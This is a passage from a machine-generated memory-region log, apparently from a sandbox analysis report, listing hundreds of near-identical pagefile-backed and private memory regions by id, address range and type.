11324 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11325 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11326 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11327 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11328 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11329 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11330 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11331 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11332 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11333 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11334 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11335 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11336 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11337 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11338 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11339 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11340 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11341 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11342 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11343 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11344 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11345 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11346 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11347 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11348 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11349 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11350 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11351 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11352 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11353 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11354 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11355 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11356 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11357 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11358 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11359 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11360 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11361 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11362 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11363 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11364 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11365 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11366 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11367 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11368 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11369 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11370 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11371 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11372 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11373 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11374 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11375 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11376 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11377 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11378 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11379 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11380 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11381 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11382 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11383 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11384 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11385 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11386 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11387 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11388 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11389 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11390 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11391 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11392 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11395 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11396 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11397 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11398 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11399 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11400 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11401 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11402 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11403 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11404 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11405 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11406 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11407 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11408 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11409 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11410 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11411 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11412 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11413 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11414 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11415 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11416 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11417 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11418 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11419 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11420 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11421 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 11422 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 11423 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 11424 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11425 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11426 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11427 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11428 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11429 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11430 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11431 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11432 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11433 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11434 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11435 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11436 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11437 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11439 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11440 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11441 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11442 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11443 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11444 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11445 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11446 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11447 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11448 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11449 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11450 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11451 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11452 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11453 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11454 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11455 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11456 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11457 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11458 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11459 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11460 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11461 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11462 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11463 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11464 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11465 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11466 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11467 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11468 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11469 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11470 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11471 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11472 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11473 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11474 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11475 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11476 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11477 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11478 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11479 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11480 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11481 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11482 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11483 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11484 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11485 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11486 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11487 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11488 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11489 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11491 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11492 start_va = 0x115d0000 end_va = 0x11ac2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000115d0000" filename = "" Region: id = 11493 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11494 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11495 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11496 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11497 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11498 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11499 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11500 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11501 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11502 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11503 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11504 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11505 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11506 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11507 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11508 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11509 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11510 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11511 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11512 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11513 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11514 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11515 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = 